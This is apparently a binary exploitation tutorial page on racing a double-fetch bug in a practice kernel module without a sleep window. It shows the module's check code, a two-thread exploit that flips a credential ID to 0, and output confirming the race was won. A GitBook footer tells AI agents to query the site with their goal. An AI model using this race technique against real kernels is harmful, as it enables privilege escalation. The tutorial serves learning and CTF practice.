> For the complete documentation index, see [llms.txt](https://ir0nstone.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ir0nstone.gitbook.io/notes/binexp/kernel/double-fetch/double-fetch-without-sleep.md).

# Double-Fetch without Sleep

## Overview

In reality, there won't be a 1-second sleep for your race condition to occur. This means we instead have to hope that it occurs in the assembly instructions between the two dereferences!

This will not work every time - in fact, it's quite likely to not work! - so we will instead have **two** loops; one that keeps writing `0` to the ID, and another that writes another value - e.g. `900` - and then calling `write`. The aim is for the thread that switches to `0` to sync up so perfectly that the switch occurs inbetween the ID check and the ID "assignment".

{% file src="/files/Fxw5l4wVqsGQLWgELRic" %}

## Analysis

If we check the source, we can see that there is no `msleep` any longer:

```c
if (creds->id == 0) {
    printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
    return -1;
}

printk("[Double-Fetch] Attempting login...");

if (!strcmp(creds->password, PASSWORD)) {
    id = creds->id;
    printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
    return id;
}
```

## Exploitation

Our exploit is going to look slightly different! We'll create the `Credentials` struct again and set the ID to `900`:

```c
Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");
```

Then we are going to write this struct to the module repeatedly. We will loop it 1,000,000 times (effectively infinite) to make sure it terminates:

```c
// don't want to make the loop infinite, just in case
for (int i = 0; i < 1000000; i++) {
    // now we write the cred struct to the module
    res_id = write(fd, &creds, 0);

    // if res_id is 0, stop the race
    if (!res_id) {
        puts("[+] ID is 0!");
        break;
    }
}
```

If the ID returned is `0`, we won the race! It is really important to keep in mind exactly what the "success" condition is, and how you can check for it.

Now, in the second thread, we will constantly cycle between ID `900` and `0`. We do this in the hope that it will be `900` on the first dereference, and `0` on the second! I make this loop infinite because it is a thread, and the thread will be killed when the program is (provided you remove `pthread_join()`! Otherwise your main thread will wait forever for the second to stop!).

```c
void *switcher(void *arg) {
    volatile Credentials *creds = (volatile Credentials *)arg;

    while (1) {
        creds->id = 0;
        creds->id = 900;
    }
}
```

Compile the exploit and run it, we get the desired result:

```c
~ $ ./exploit 
FD: 3
[    2.140099] [Double-Fetch] Attempted to log in as root!
[    2.140099] [Double-Fetch] Attempted to log in as root!
[+] ID is 0!
[-] Finished race
```

Look how quick that was! Insane - two fails, then a success!

### Race Analysis

You might be wondering how tight the race window can be for exploitation - well, [`gnote` from TokyoWesterns CTF 2019](https://rpis.ec/blog/tokyowesterns-2019-gnote/) had a race of two assembly instructions:

```
; note that rbx is the buf argument, user-controlled
cmp dword ptr [rbx], 5
ja default_case
mov eax, [rbx]
mov rax, jump_table[rax*8]
jmp rax
```

The dereferences `[rbx]` have just one assembly instruction between, yet we are capable of racing. THAT is just how tight!


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ir0nstone.gitbook.io/notes/binexp/kernel/double-fetch/double-fetch-without-sleep.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
